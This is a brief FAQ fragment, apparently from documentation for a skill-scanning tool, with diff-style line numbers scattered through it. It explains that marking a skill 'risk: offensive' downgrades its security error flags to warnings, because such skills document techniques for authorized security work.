**Q: How does `risk: offensive` affect scoring?**
|
|
233
|
-
|
|
234
|
-
Security error flags are downgraded to warnings for offensive skills, because they
|
|
235
|
-
legitimately document dangerous techniques for authorized security work.
|